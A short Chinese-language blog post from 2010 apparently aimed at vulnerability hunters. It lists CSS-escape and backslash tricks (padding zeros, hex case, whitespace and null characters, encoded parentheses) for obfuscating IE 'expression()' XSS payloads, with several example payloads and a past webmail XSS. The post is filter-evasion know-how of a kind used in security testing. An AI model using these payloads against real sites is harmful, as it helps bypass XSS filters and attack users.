在XSS的漏洞挖掘中编码和反斜杠也是需要掌握的基本方法,这里给出XSS漏洞挖掘中采用CSS编码和反斜杠的三个技巧。

作者&译者:wpulog

2010/07/17

 

技巧一、改变编码中0的数量 (\0X -> \00000X)。

例如:

<p style="xss:\65xpression(alert(/wpulog/))">

<p style="xss:\065xpression(alert(/wpulog/))">

<p style="xss:\0065xpression(alert(/wpulog/))">

效果是一样的。

 

技巧二、改变编码字符的大小写(\0A -> \0a)。

例如:

<p style="xss:expression(alert(/wpulog/))\x0d">

<p style="xss:expression(alert(/wpulog/))\x0D">

效果是一样的。

 

技巧三、编码字符的后边可以添加空白符(IE支持\x20, \x09;FF和Opera支持\x0A, \x0D)。

例如:在IE中<p sytle="xss:\65 xpression(alert(/wpulog/))">同样能够运行,\65与x之间是空格。

另外,CSS中在字母前添加反斜杠会被忽略,如\x等同于x,主要\n不等于n。在火狐中也可在换行符(\x0A,\X0D)前添加反斜杠,如:

<div style="xx:\gg">

在IE中CSS属性值可以插入空字符(\0),例如:曾经的网易邮箱Webmail XSS漏洞

<p style="xss:ex&#00;pression(alert(/wpulog/)">。

不同的浏览器可能支持不同的编码方式,如在火狐浏览器中不支持对括号进行编码。而IE支持对括号编码,如:<p style="xss:expression\28alert\28/wpulog/\29\29">在IE中可正常执行。

这些技巧可以结合其他的一些编码方法混合使用,也许在XSS的漏洞挖掘中会收到意外的效果。

[+]Reference:

~~~~~~~~~

http://heideri.ch/jso/#61